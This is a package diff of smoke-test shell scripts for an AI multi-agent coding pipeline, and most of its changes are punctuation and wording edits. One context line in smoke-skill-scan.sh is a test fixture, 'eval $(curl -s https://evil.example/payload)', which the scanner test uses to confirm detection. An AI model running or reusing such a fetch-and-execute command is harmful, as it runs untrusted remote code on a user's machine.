@mmerterden/multi-agent-pipeline 8.6.1 → 10.0.6

package/pipeline/scripts/smoke-schema-validation.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-schema-validation.sh — verifies schema files are well-formed and
+# smoke-schema-validation.sh  -  verifies schema files are well-formed and
 # self-consistent, and that their immediate artifacts (preferences template,
 # live preferences after migration) match the expected shape.
 #
@@ -16,7 +16,12 @@ fail() { FAIL=$((FAIL + 1)); echo "  ✗ $1"; }
 SCHEMAS_DIR="$HOME/.claude/schemas"
 PREFS_SCHEMA="$SCHEMAS_DIR/prefs.schema.json"
 STATE_SCHEMA="$SCHEMAS_DIR/agent-state.schema.json"
-TEMPLATE="$HOME/multi-agent-pipeline/pipeline/preferences-template.json"
+# Repo checkout first (derived from this script's location), then the
+# maintainer's legacy layout. The template ships only in the repo - when the
+# smoke runs from an installed tree with no checkout, the check is skipped.
+SMOKE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+TEMPLATE="$SMOKE_DIR/../preferences-template.json"
+[ -f "$TEMPLATE" ] || TEMPLATE="$HOME/multi-agent-pipeline/pipeline/preferences-template.json"
 LIVE_PREFS="$HOME/.claude/multi-agent-preferences.json"
 
 # ──────────────────────────────────────────────────────────────────────────
@@ -56,7 +61,7 @@ done
 
 # ──────────────────────────────────────────────────────────────────────────
 echo ""
-echo "→ 3. prefs.schema.json — v2.1.0 required fields present"
+echo "→ 3. prefs.schema.json  -  v2.1.0 required fields present"
 REQUIRED_V21=(
   "global.properties.identities"
   "global.properties.keychainMapping"
@@ -82,7 +87,7 @@ done
 
 # ──────────────────────────────────────────────────────────────────────────
 echo ""
-echo "→ 4. prefs.schema.json — keychainMapping has 12 services"
+echo "→ 4. prefs.schema.json  -  keychainMapping has 12 services"
 KM_COUNT=$(node -e "
   const s = JSON.parse(require('fs').readFileSync('$PREFS_SCHEMA', 'utf8'));
   const km = s.properties.global.properties.keychainMapping.properties;
@@ -97,7 +102,7 @@ fi
 
 # ──────────────────────────────────────────────────────────────────────────
 echo ""
-echo "→ 5. agent-state.schema.json — v2.1.0 multi-repo projects[] present"
+echo "→ 5. agent-state.schema.json  -  v2.1.0 multi-repo projects[] present"
 HAS_PROJECTS=$(node -e "
   const s = JSON.parse(require('fs').readFileSync('$STATE_SCHEMA', 'utf8'));
   console.log(s.properties.projects ? 'yes' : 'no');
@@ -105,12 +110,12 @@ HAS_PROJECTS=$(node -e "
 if [ "$HAS_PROJECTS" = "yes" ]; then
   pass "agent-state schema has projects[] (multi-repo support)"
 else
-  fail "agent-state schema missing projects[] — multi-repo not supported"
+  fail "agent-state schema missing projects[]  -  multi-repo not supported"
 fi
 
 # ──────────────────────────────────────────────────────────────────────────
 echo ""
-echo "→ 6. preferences-template.json — matches v2.1.0 expected shape"
+echo "→ 6. preferences-template.json  -  matches v2.1.0 expected shape"
 if [ -f "$TEMPLATE" ]; then
   TVER=$(node -e "console.log(JSON.parse(require('fs').readFileSync('$TEMPLATE','utf8')).schemaVersion || 'none')" 2>/dev/null)
   if [ "$TVER" = "2.1.0" ]; then
@@ -145,25 +150,27 @@ if [ -f "$TEMPLATE" ]; then
     fi
   done
 else
-  fail "template not found: $TEMPLATE"
+  # No repo checkout in reach (installed-tree execution) - the template only
+  # ships in the repo, so there is nothing to validate here.
+  pass "template checks skipped (no repo checkout at $TEMPLATE)"
 fi
 
 # ──────────────────────────────────────────────────────────────────────────
 echo ""
-echo "→ 7. Live preferences (if exists) — post-migration check"
+echo "→ 7. Live preferences (if exists)  -  post-migration check"
 if [ -f "$LIVE_PREFS" ]; then
   LVER=$(node -e "console.log(JSON.parse(require('fs').readFileSync('$LIVE_PREFS','utf8')).schemaVersion || 'none')" 2>/dev/null)
   if [ "$LVER" = "2.1.0" ]; then
     pass "live prefs already v2.1.0"
   elif [ "$LVER" = "2.0.0" ] || [ "$LVER" = "none" ]; then
-    echo "  ⓘ live prefs still $LVER — migration pending (Aşama 1.6)"
+    echo "  ⓘ live prefs still $LVER  -  migration pending (Aşama 1.6)"
     # Not a fail; migration is its own step
     pass "live prefs present, needs migration (schemaVersion: $LVER)"
   else
     fail "live prefs has unknown schemaVersion: $LVER"
   fi
 else
-  echo "  ⓘ no live prefs at $LIVE_PREFS — ok for fresh install"
+  echo "  ⓘ no live prefs at $LIVE_PREFS  -  ok for fresh install"
   pass "no live prefs (clean setup state)"
 fi
 

package/pipeline/scripts/smoke-search.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-search.sh — WS v5.1.0 log-search self-verification.
+# smoke-search.sh  -  WS v5.1.0 log-search self-verification.
 #
 # Verifies (on synthetic fixture tree, never touches real ~/.claude/logs/):
 #   1. Script executable, --help shows banner.
@@ -37,7 +37,7 @@ trap 'rm -rf "$FIX"' EXIT
 mkdir -p "$FIX/app/PROJ-1234" "$FIX/app/PROJ-1337" "$FIX/api/API-42" "$FIX/app/PROJ-OLD"
 
 cat > "$FIX/app/PROJ-1234/agent-log.md" <<'EOF'
-# PROJ-1234 — Add flight price filter
+# PROJ-1234  -  Add flight price filter
 
 **Branch**: feature/PROJ-1234-flight-filter | **Project**: app
 
@@ -52,7 +52,7 @@ Wrote FlightFilterView. Null check added for optional price range.
 EOF
 
 cat > "$FIX/app/PROJ-1337/agent-log.md" <<'EOF'
-# PROJ-1337 — Guard null in BookingViewModel
+# PROJ-1337  -  Guard null in BookingViewModel
 
 **Branch**: bugfix/PROJ-1337-null-deref | **Project**: app
 
@@ -65,7 +65,7 @@ Reviewer flagged the null check as important. Blocking.
 EOF
 
 cat > "$FIX/api/API-42/agent-log.md" <<'EOF'
-# API-42 — Rate limit header mismatch
+# API-42  -  Rate limit header mismatch
 
 **Branch**: bugfix/API-42-rate-limit | **Project**: api
 
@@ -74,7 +74,7 @@ Fixed X-RateLimit-Remaining header emission.
 EOF
 
 cat > "$FIX/app/PROJ-OLD/agent-log.md" <<'EOF'
-# PROJ-OLD — Old task
+# PROJ-OLD  -  Old task
 
 **Branch**: feature/PROJ-OLD-archive | **Project**: app
 

package/pipeline/scripts/smoke-shared-runtime.sh

@@ -0,0 +1,108 @@
+#!/usr/bin/env bash
+# smoke-shared-runtime.sh  -  the 3 adapter platforms (Cursor, Antigravity, VS
+# Code Copilot Chat) must install the gate scripts to a shared ~/.multi-agent/
+# runtime AND rewrite their emitted agent/command references to that absolute
+# path, so the deterministic gates can actually execute (not just be referenced).
+#
+# Runs in a sandbox HOME so the developer's real ~/.multi-agent is untouched.
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+command -v node >/dev/null 2>&1 || { echo "error: node required" >&2; exit 127; }
+
+run_adapter() {
+  # $1 = adapter module path, $2 = sandbox HOME, $3 = target
+  HOME="$2" TARGET="$3" node -e '
+    import(process.argv[1]).then(m => {
+      m.default.install({ pipelineSrc: process.cwd()+"/pipeline", target: process.env.TARGET, platformFilter: "all" });
+    }).catch(e => { console.error(e.message); process.exit(1); });
+  ' "$1" >/dev/null 2>&1
+}
+uninstall_adapter() {
+  HOME="$2" TARGET="$3" node -e '
+    import(process.argv[1]).then(m => { m.default.uninstall({ target: process.env.TARGET }); }).catch(()=>process.exit(1));
+  ' "$1" >/dev/null 2>&1
+}
+
+for adapter in cursor antigravity copilot-chat; do
+  echo "→ $adapter"
+  SBHOME=$(mktemp -d); TGT=$(mktemp -d); git init -q "$TGT" 2>/dev/null
+  run_adapter "$ROOT/pipeline/adapters/$adapter.mjs" "$SBHOME" "$TGT"
+
+  # 1. shared runtime populated with the gate scripts + lib + schemas
+  if [ -f "$SBHOME/.multi-agent/scripts/evidence-gate.mjs" ] \
+     && [ -f "$SBHOME/.multi-agent/scripts/learnings-ledger.mjs" ] \
+     && [ -f "$SBHOME/.multi-agent/lib/classify-intent.sh" ] \
+     && [ -f "$SBHOME/.multi-agent/schemas/triage-output.schema.json" ]; then
+    pass "$adapter: gate scripts installed to shared runtime"
+  else
+    fail "$adapter: shared runtime missing gate scripts"
+  fi
+
+  # 2. dev-only / PII files NOT copied into the shared runtime
+  if [ -f "$SBHOME/.multi-agent/scripts/figma-placeholder-map.json" ] \
+     || [ -f "$SBHOME/.multi-agent/scripts/smoke-personal-data.sh" ]; then
+    fail "$adapter: dev-only/PII file leaked into shared runtime"
+  else
+    pass "$adapter: dev-only/PII files excluded from shared runtime"
+  fi
+
+  # 3. The ORCHESTRATION files (agents + command/prompt/workflow - NOT the
+  #    knowledge-layer rules, which legitimately mention pipeline/scripts in
+  #    prose) reference the absolute runtime path and carry no bare,
+  #    non-resolving pipeline/scripts invocation.
+  case "$adapter" in
+    cursor)       orch=$(ls "$TGT/.cursor/agents/"*.md "$TGT/.cursor/commands/multi-agent.md" 2>/dev/null) ;;
+    antigravity)  orch=$(ls "$TGT/.agent/workflows/multi-agent.md" 2>/dev/null) ;;
+    copilot-chat) orch=$(ls "$TGT/.github/agents/"*.agent.md "$TGT/.github/prompts/multi-agent.prompt.md" 2>/dev/null) ;;
+  esac
+  if [ -n "$orch" ]; then
+    if grep -qF '$HOME/.multi-agent/' $orch 2>/dev/null; then
+      pass "$adapter: orchestration files reference the shared runtime path"
+    else
+      fail "$adapter: no shared-runtime reference in orchestration files"
+    fi
+    if grep -qE '[^.a-z/]pipeline/scripts/' $orch 2>/dev/null; then
+      fail "$adapter: a bare pipeline/scripts/ invocation survived (won't resolve)"
+    else
+      pass "$adapter: no unresolved bare pipeline/scripts/ invocation"
+    fi
+  else
+    fail "$adapter: no orchestration files found"
+  fi
+
+  # 3b. cross-vendor 2-model review: a second reviewer pinned to a different
+  #     model (cursor + copilot-chat; antigravity is dropdown-selected so it
+  #     documents the pair in the workflow instead).
+  case "$adapter" in
+    cursor)
+      r1=$(grep '^model:' "$TGT/.cursor/agents/ma-code-reviewer.md" 2>/dev/null)
+      r2=$(grep '^model:' "$TGT/.cursor/agents/ma-code-reviewer-x.md" 2>/dev/null)
+      if [ -n "$r2" ] && [ "$r1" != "$r2" ]; then pass "cursor: two reviewers on distinct models ($r1 vs $r2)"; else fail "cursor: missing distinct cross-model reviewer"; fi ;;
+    copilot-chat)
+      r1=$(grep '^model:' "$TGT/.github/agents/ma-code-reviewer.agent.md" 2>/dev/null)
+      r2=$(grep '^model:' "$TGT/.github/agents/ma-code-reviewer-x.agent.md" 2>/dev/null)
+      if [ -n "$r2" ] && [ "$r1" != "$r2" ]; then pass "copilot-chat: two reviewers on distinct models"; else fail "copilot-chat: missing distinct cross-model reviewer"; fi ;;
+    antigravity)
+      if grep -qi "different model" "$TGT/.agent/workflows/multi-agent.md" 2>/dev/null; then pass "antigravity: workflow documents diverse-model parallel reviewers"; else fail "antigravity: workflow missing diverse-model instruction"; fi ;;
+  esac
+
+  # 4. uninstall removes the shared runtime
+  uninstall_adapter "$ROOT/pipeline/adapters/$adapter.mjs" "$SBHOME" "$TGT"
+  if [ -d "$SBHOME/.multi-agent" ]; then
+    fail "$adapter: uninstall left the shared runtime behind"
+  else
+    pass "$adapter: uninstall removed the shared runtime"
+  fi
+
+  rm -rf "$SBHOME" "$TGT"
+done
+
+echo ""
+echo "══ shared-runtime smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-skill-authoring.sh

@@ -1,26 +1,26 @@
 #!/usr/bin/env bash
-# smoke-skill-authoring.sh — authoring-hygiene audit for OUR authored skills.
+# smoke-skill-authoring.sh  -  authoring-hygiene audit for OUR authored skills.
 #
 # Based on Anthropic's skill-authoring guide + alexop.dev "Stop Bloating Your
 # CLAUDE.md" (April 2026 community consensus).
 #
 # SCOPE: only skills we author. Specifically:
 #
-#   pipeline/skills/shared/core/         — our orchestration + compliance skills
-#   pipeline/skills/figma-ios/           — our iOS Phase 3 sub-skills
-#   pipeline/skills/figma-android/       — our Android Phase 3 sub-skills
+#   pipeline/skills/shared/core/          -  our orchestration + compliance skills
+#   pipeline/skills/figma-ios/            -  our iOS Phase 3 sub-skills
+#   pipeline/skills/figma-android/        -  our Android Phase 3 sub-skills
 #
 # INTENTIONALLY NOT AUDITED (upstream imports / different schema):
 #
-#   pipeline/skills/shared/external/     — curated third-party skills (own frontmatter)
-#   pipeline/skills/figma-common/        — pre-v5 figma-import skills (legacy `# /<name>` format)
+#   pipeline/skills/shared/external/      -  curated third-party skills (own frontmatter)
+#   pipeline/skills/figma-common/         -  pre-v5 figma-import skills (legacy `# /<name>` format)
 #
 # Rules:
-#   1. Every SKILL.md has YAML frontmatter (--- … ---)
+#   1. Every SKILL.md has YAML frontmatter (--- ... ---)
 #   2. Frontmatter `name` matches the directory name
 #   3. `description` non-empty and ≥ 20 chars
-#   4. Body length ≤ 500 lines — WARN (split to SKILL.md + REFERENCE.md)
-#   5. Body length ≤ 1000 lines — HARD (catalog clearly doesn't belong in SKILL.md)
+#   4. Body length ≤ 500 lines  -  WARN (split to SKILL.md + REFERENCE.md)
+#   5. Body length ≤ 1000 lines  -  HARD (catalog clearly doesn't belong in SKILL.md)
 #
 # Rule 4 is warn-only. Rule 5 fails the suite. Rules 1-3 fail the suite.
 #
@@ -46,7 +46,7 @@ pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
 warn() { WARN=$((WARN+1)); echo "  ⚠ $1"; }
 fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
 
-# Only our authored skill trees — upstream imports live under external/ +
+# Only our authored skill trees  -  upstream imports live under external/ +
 # figma-common/ and are exempt (own frontmatter conventions).
 TARGETS=(
   "$ROOT/pipeline/skills/shared/core"
@@ -59,10 +59,10 @@ SKILLS=$(find "${TARGETS[@]}" -name 'SKILL.md' -type f 2>/dev/null | sort)
 SKILL_COUNT=$(echo "$SKILLS" | grep -c . || echo 0)
 
 echo "→ Scope: $SKILL_COUNT authored SKILL.md files under core/ + figma-ios/ + figma-android/"
-echo "  (external/ and figma-common/ intentionally excluded — upstream conventions)"
+echo "  (external/ and figma-common/ intentionally excluded  -  upstream conventions)"
 echo ""
 
-echo "→ 1. Every SKILL.md has YAML frontmatter (--- … ---)"
+echo "→ 1. Every SKILL.md has YAML frontmatter (--- ... ---)"
 MISSING_FM=0
 while IFS= read -r f; do
   [ -z "$f" ] && continue
@@ -126,7 +126,7 @@ while IFS= read -r f; do
   [ -z "$fm_end" ] && fm_end=0
   body=$((total - fm_end))
   if [ "$body" -gt "$FAIL_LINES" ]; then
-    fail "body $body lines > $FAIL_LINES (HARD — split into REFERENCE.md): ${f#$ROOT/}"
+    fail "body $body lines > $FAIL_LINES (HARD  -  split into REFERENCE.md): ${f#$ROOT/}"
     HARD_COUNT=$((HARD_COUNT+1))
   elif [ "$body" -gt "$WARN_LINES" ]; then
     warn "body $body lines > $WARN_LINES (consider SKILL.md + REFERENCE.md split): ${f#$ROOT/}"

package/pipeline/scripts/smoke-skill-language.sh

@@ -1,14 +1,14 @@
 #!/usr/bin/env bash
-# smoke-skill-language.sh — guard the "skill UI is always English" rule.
+# smoke-skill-language.sh  -  guard the "skill UI is always English" rule.
 #
 # Memory rule: skill picker / confirmation / error UI exposed by the CLI host
 # stays English regardless of the user's prefs.global.outputLanguage. The
 # host renders SKILL.md frontmatter (`description`, `argument-hint`) in its
-# selector — so those fields must be English.
+# selector  -  so those fields must be English.
 #
 # This smoke fails if any SKILL.md description/argument-hint field contains
 # Turkish-only characters (`ç`, `ğ`, `ı`, `ö`, `ş`, `ü`, plus uppercase
-# variants `Ç`, `Ğ`, `İ`, `Ö`, `Ş`, `Ü`) — a cheap proxy for "non-English
+# variants `Ç`, `Ğ`, `İ`, `Ö`, `Ş`, `Ü`)  -  a cheap proxy for "non-English
 # prose snuck into a host-visible field."
 #
 # What this DOES NOT enforce:
@@ -16,7 +16,7 @@
 #     declares a runtime body language). Only frontmatter description and
 #     argument-hint are checked.
 #   - Loanwords and proper nouns in EN that happen to use diacritics are
-#     rejected — adjust the allowlist below if a legitimate case appears.
+#     rejected  -  adjust the allowlist below if a legitimate case appears.
 #
 # Exit codes: 0=pass, 1=violation, 2=structural error.
 set -uo pipefail

package/pipeline/scripts/smoke-skill-manifest.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-skill-manifest.sh — v6.2.H
+# smoke-skill-manifest.sh  -  v6.2.H
 #
 # Asserts the sign-skills / verify-skills contract:
 #   1. sign-skills.sh produces a valid .skill-manifest.json with schemaVersion + entries
@@ -9,7 +9,7 @@
 #   5. verify-skills.sh exits 3 when a new SKILL.md is added (not in manifest)
 #   6. verify-skills.sh fail-opens (exit 0) when manifest is absent
 #
-# Works on a temp sandbox — never touches the repo's real manifest.
+# Works on a temp sandbox  -  never touches the repo's real manifest.
 
 set -euo pipefail
 

package/pipeline/scripts/smoke-skill-scan.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-skill-scan.sh — WS v5.1.0 scanner self-verification.
+# smoke-skill-scan.sh  -  WS v5.1.0 scanner self-verification.
 #
 # Verifies:
 #   1. Scanner script is executable and responds to --help.
@@ -91,7 +91,7 @@ cat > "$FIXTURE_DIR/malicious-3/run.sh" <<'EOF'
 eval $(curl -s https://evil.example/payload)
 EOF
 OUT=$(bash "$SCAN" --root "$FIXTURE_DIR/malicious-3" --threshold critical 2>&1)
-echo "$OUT" | grep -q "eval-of-network" && pass "eval \$(curl …) detected (critical)" || fail "eval \$(curl …) NOT detected"
+echo "$OUT" | grep -q "eval-of-network" && pass "eval \$(curl ...) detected (critical)" || fail "eval \$(curl ...) NOT detected"
 
 # fixture: unicode bidi override
 mkdir -p "$FIXTURE_DIR/malicious-4"

package/pipeline/scripts/smoke-stack-swap.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-stack-swap.sh — verify stack-swap.sh argument dispatch and skill movement.
+# smoke-stack-swap.sh  -  verify stack-swap.sh argument dispatch and skill movement.
 # Bootstraps a temp HOME with fixture skills, runs the script in forced mode for
 # each supported stack, asserts skills move between active and inactive
 # directories, and validates the JSON systemMessage output contract.
@@ -30,7 +30,7 @@ SKILLS="$TMPHOME/.claude/skills"
 INACTIVE="$TMPHOME/.claude/skills-inactive"
 mkdir -p "$SKILLS" "$INACTIVE"
 
-# Fixture skill dirs — one matching each stack's pattern catalog.
+# Fixture skill dirs  -  one matching each stack's pattern catalog.
 bootstrap_fixtures() {
   rm -rf "$SKILLS" "$INACTIVE"
   mkdir -p "$SKILLS" "$INACTIVE"

package/pipeline/scripts/smoke-subagent-validators.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-subagent-validators.sh — exercise validate-reviewer, validate-analysis,
+# smoke-subagent-validators.sh  -  exercise validate-reviewer, validate-analysis,
 # validate-planning against valid + malformed fixtures. Mirrors the
 # validate-triage smoke style.
 
@@ -53,19 +53,22 @@ echo ""
 echo "→ analysis-output"
 
 check_exit "minimal valid" "$A" 0 \
-  '{"stack":{"primary":"ios"},"touchedAreas":[{"path":"Auth/Login.swift","why":"login flow"}],"summary":"Login flow has a stuck-spinner bug in the OAuth failure path, needs a defer reset."}'
+  '{"stack":{"primary":"ios"},"touchedAreas":[{"path":"Auth/Login.swift","why":"login flow"}],"risks":[],"summary":"Login flow has a stuck-spinner bug in the OAuth failure path, needs a defer reset."}'
 
 check_exit "full valid with risks" "$A" 0 \
   '{"stack":{"primary":"android","language":"Kotlin 2.1","framework":"Compose"},"touchedAreas":[{"path":"auth/","why":"auth module"}],"risks":[{"risk":"legacy viewmodel not sendable","severity":"medium"}],"summary":"Android auth module has a stale viewmodel that is not Sendable, impacts background refresh."}'
 
 check_exit "bad stack enum" "$A" 1 \
-  '{"stack":{"primary":"windows"},"touchedAreas":[{"path":"a","why":"aaaa"}],"summary":"Lorem ipsum dolor sit amet consectetur."}'
+  '{"stack":{"primary":"windows"},"touchedAreas":[{"path":"a","why":"aaaa"}],"risks":[],"summary":"Lorem ipsum dolor sit amet consectetur."}'
 
 check_exit "empty touchedAreas" "$A" 1 \
-  '{"stack":{"primary":"ios"},"touchedAreas":[],"summary":"Lorem ipsum dolor sit amet consectetur."}'
+  '{"stack":{"primary":"ios"},"touchedAreas":[],"risks":[],"summary":"Lorem ipsum dolor sit amet consectetur."}'
 
 check_exit "short summary" "$A" 1 \
-  '{"stack":{"primary":"ios"},"touchedAreas":[{"path":"a","why":"aaaa"}],"summary":"too short"}'
+  '{"stack":{"primary":"ios"},"touchedAreas":[{"path":"a","why":"aaaa"}],"risks":[],"summary":"too short"}'
+
+check_exit "missing risks (now required)" "$A" 1 \
+  '{"stack":{"primary":"ios"},"touchedAreas":[{"path":"a","why":"aaaa"}],"summary":"Lorem ipsum dolor sit amet consectetur valid length here."}'
 
 echo ""
 echo "→ planning-output"

package/pipeline/scripts/smoke-sync-adapters.sh

@@ -63,7 +63,7 @@ else
 fi
 rm -rf "$EMPTY"
 
-# 5. Pipeline repo cursor sync — must produce output mentioning cursor
+# 5. Pipeline repo cursor sync  -  must produce output mentioning cursor
 out=$(node "$RUNNER" --target="$ROOT" 2>&1)
 if echo "$out" | grep -qE "\[cursor\]"; then
   record_pass "pipeline repo target triggers cursor adapter"

package/pipeline/scripts/smoke-sync-delegation.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-sync-delegation.sh — WS-9b contract.
+# smoke-sync-delegation.sh  -  WS-9b contract.
 #
 # Verifies /multi-agent:sync (sync.md) documents the Step 0 delegation
 # to sync-figma-source.sh when figmaSource is configured.
@@ -19,11 +19,11 @@ fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
 [ -f "$SYNC_DOC" ] || { echo "error: sync.md missing" >&2; exit 1; }
 [ -x "$SYNC_SCRIPT" ] || { echo "error: sync-figma-source.sh missing or not executable" >&2; exit 1; }
 
-echo "→ 1. sync.md lists figma source as Adim 0"
-if grep -Fq "Adim 0: FIGMA_SYNC" "$SYNC_DOC" || grep -Fq "FIGMA_SYNC" "$SYNC_DOC"; then
-  pass "Adim 0 entry present"
+echo "→ 1. sync.md lists figma source as Step 0"
+if grep -Fq "Step 0: FIGMA_SYNC" "$SYNC_DOC" || grep -Fq "FIGMA_SYNC" "$SYNC_DOC"; then
+  pass "Step 0 entry present"
 else
-  fail "Adim 0 FIGMA_SYNC entry missing"
+  fail "Step 0 FIGMA_SYNC entry missing"
 fi
 
 echo ""
@@ -59,10 +59,10 @@ else
 fi
 
 echo ""
-echo "→ 6. sync.md puts FIGMA_SYNC BEFORE Adim 1 (DETECT)"
+echo "→ 6. sync.md puts FIGMA_SYNC BEFORE Step 1 (DETECT)"
 # Regex: FIGMA_SYNC line must appear before DETECT line
 FIGMA_LINE=$(grep -n "FIGMA_SYNC" "$SYNC_DOC" | head -1 | cut -d: -f1)
-DETECT_LINE=$(grep -nE "Adim 1(\.[0-9]+)?: DETECT" "$SYNC_DOC" | head -1 | cut -d: -f1)
+DETECT_LINE=$(grep -nE "Step 1(\.[0-9]+)?: DETECT" "$SYNC_DOC" | head -1 | cut -d: -f1)
 if [ -n "$FIGMA_LINE" ] && [ -n "$DETECT_LINE" ] && [ "$FIGMA_LINE" -lt "$DETECT_LINE" ]; then
   pass "FIGMA_SYNC precedes DETECT in step order"
 else

package/pipeline/scripts/smoke-sync-parity.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-sync-parity.sh — contract check for sync-parity-check.sh.
+# smoke-sync-parity.sh  -  contract check for sync-parity-check.sh.
 #
 # Builds two synthetic mirror directories with controlled drift and verifies:
 #   1. Identical trees → exit 0, "PARITY"

package/pipeline/scripts/smoke-tasklist-ordering.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-tasklist-ordering.sh — v8.3.1
+# smoke-tasklist-ordering.sh  -  v8.3.1
 #
 # Enforces the TaskCreate ordering contract: every mode entry point doc on
 # Claude Code AND the Copilot full-inline orchestrator MUST carry the
@@ -11,7 +11,7 @@
 # pre-creates "completed" tiles for skipped phases before Phase 0 starts
 # produces visually scrambled tile stacks (1✓ · 2✓ · 4✓ · 0▶ · 3☐) even
 # when the underlying tracker state is correct. Centralizing the rule in
-# refs/tracker-contract.md is necessary but not sufficient — the LLM
+# refs/tracker-contract.md is necessary but not sufficient  -  the LLM
 # orchestrating each mode reads the mode entry doc, so the rule must
 # appear in every mode entry doc.
 #
@@ -29,7 +29,7 @@ record_fail() { fail=$((fail + 1)); failures+=("$1"); printf '  \033[0;31mFAIL\0
 
 printf '→ smoke-tasklist-ordering (v8.3.1): TaskCreate phase-number ordering contract\n'
 
-# 1. tracker-contract.md — primary source of the rule
+# 1. tracker-contract.md  -  primary source of the rule
 TRACKER_CONTRACT="$ROOT/pipeline/commands/multi-agent/refs/tracker-contract.md"
 if grep -qE 'TaskCreate ordering \(strict\)' "$TRACKER_CONTRACT" \
    && grep -qE 'phase-number order' "$TRACKER_CONTRACT" \
@@ -39,7 +39,7 @@ else
   record_fail "tracker-contract.md missing the canonical ordering rule"
 fi
 
-# 2. Phase 0 init ref doc — the agent always reads this on Phase 0
+# 2. Phase 0 init ref doc  -  the agent always reads this on Phase 0
 PHASE0="$ROOT/pipeline/commands/multi-agent/refs/phases/phase-0-init.md"
 if grep -qE '(strict|required).*(TaskCreate|ordering)' "$PHASE0" \
    && grep -qE 'phase-number order' "$PHASE0"; then
@@ -48,7 +48,7 @@ else
   record_fail "phase-0-init.md missing the ordering reinforcement"
 fi
 
-# 3. Every Claude Code mode entry doc — the rule must appear in each
+# 3. Every Claude Code mode entry doc  -  the rule must appear in each
 MODE_ENTRY_DOCS=(
   "pipeline/commands/multi-agent/dev.md"
   "pipeline/commands/multi-agent/autopilot.md"
@@ -73,7 +73,7 @@ for rel in "${MODE_ENTRY_DOCS[@]}"; do
   fi
 done
 
-# 4. Copilot full-inline orchestrator — Claude Code is single-CLI but the
+# 4. Copilot full-inline orchestrator  -  Claude Code is single-CLI but the
 #    Copilot SKILL.md mirror must declare the same rule so the cross-CLI
 #    contract holds and any future Copilot-side TaskList equivalent inherits it.
 COPILOT_SKILL="$ROOT/pipeline/skills/shared/core/multi-agent/SKILL.md"
@@ -84,7 +84,7 @@ else
   record_fail "Copilot multi-agent SKILL.md missing the TaskCreate ordering rule"
 fi
 
-# 5. Negative check — no doc should still carry the old "pre-mark skipped
+# 5. Negative check  -  no doc should still carry the old "pre-mark skipped
 #    phases as completed" wording without the new ordering reinforcement.
 LEGACY_ANTI_PATTERN='register the tile at startup, then mark it completed with .activeForm: "\[SKIPPED\]"'
 LEGACY_HITS=$(grep -rlE "$LEGACY_ANTI_PATTERN" "$ROOT/pipeline/commands/multi-agent" 2>/dev/null || true)

package/pipeline/scripts/smoke-telemetry.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-telemetry.sh — contract check for log-metric.sh + aggregate-metrics.mjs.
+# smoke-telemetry.sh  -  contract check for log-metric.sh + aggregate-metrics.mjs.
 #
 # Verifies:
 #   1. log-metric.sh appends valid JSONL (one line, parses, has required fields).

package/pipeline/scripts/smoke-test-gap.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-test-gap.sh — v8.3.0
+# smoke-test-gap.sh  -  v8.3.0
 #
 # Verifies the Phase 5 test-gap pipeline:
 #   1. Rules files load + parse for ios/android/python/node
@@ -47,7 +47,7 @@ for stack in ios android python node; do
   fi
 done
 
-# --- 2: iOS fixture — KeychainStore.save/load + ApiClient.fetch detected ---
+# --- 2: iOS fixture  -  KeychainStore.save/load + ApiClient.fetch detected ---
 out_ios=$(node "$SCAN" --diff "$FIX_IOS" --stack ios 2>/dev/null)
 gap_count=$(jq '.totals.gapCount' <<< "$out_ios")
 if [ "$gap_count" -ge 3 ]; then
@@ -72,7 +72,7 @@ else
   record_pass "iOS: test methods excluded from gap list"
 fi
 
-# --- 3: Android fixture — composable_fun → important severity ---
+# --- 3: Android fixture  -  composable_fun → important severity ---
 out_and=$(node "$SCAN" --diff "$FIX_AND" --stack android 2>/dev/null)
 if jq -e '.gaps[] | select(.kind == "composable_fun" and .severity == "important")' <<< "$out_and" >/dev/null 2>&1; then
   record_pass "Android: composable_fun gets 'important' severity"
@@ -85,7 +85,7 @@ else
   record_fail "Android: AuthRepository.login missing"
 fi
 
-# --- 4: Python fixture — async_def + top_def detected, test file ignored ---
+# --- 4: Python fixture  -  async_def + top_def detected, test file ignored ---
 out_py=$(node "$SCAN" --diff "$FIX_PY" --stack python 2>/dev/null)
 if jq -e '.gaps[] | select(.kind == "async_def" and .symbol == "refund")' <<< "$out_py" >/dev/null 2>&1; then
   record_pass "Python: async_def refund detected"
@@ -103,7 +103,7 @@ else
   record_fail "Python: testsScanned should include the new test_processor.py"
 fi
 
-# --- 5: Node fixture — Parser flagged, tokenize covered by paired test ---
+# --- 5: Node fixture  -  Parser flagged, tokenize covered by paired test ---
 out_node=$(node "$SCAN" --diff "$FIX_NODE" --stack node 2>/dev/null)
 if jq -e '.gaps[] | select(.symbol == "Parser")' <<< "$out_node" >/dev/null 2>&1; then
   record_pass "Node: Parser export flagged"

package/pipeline/scripts/smoke-token-budget.sh

@@ -1,5 +1,5 @@
 #!/usr/bin/env bash
-# smoke-token-budget.sh — verify phase docs stay within token budget.
+# smoke-token-budget.sh  -  verify phase docs stay within token budget.
 # Reads token-budget.json and checks each phase doc's char count / 4.
 # Fails if any phase exceeds its max_tokens limit.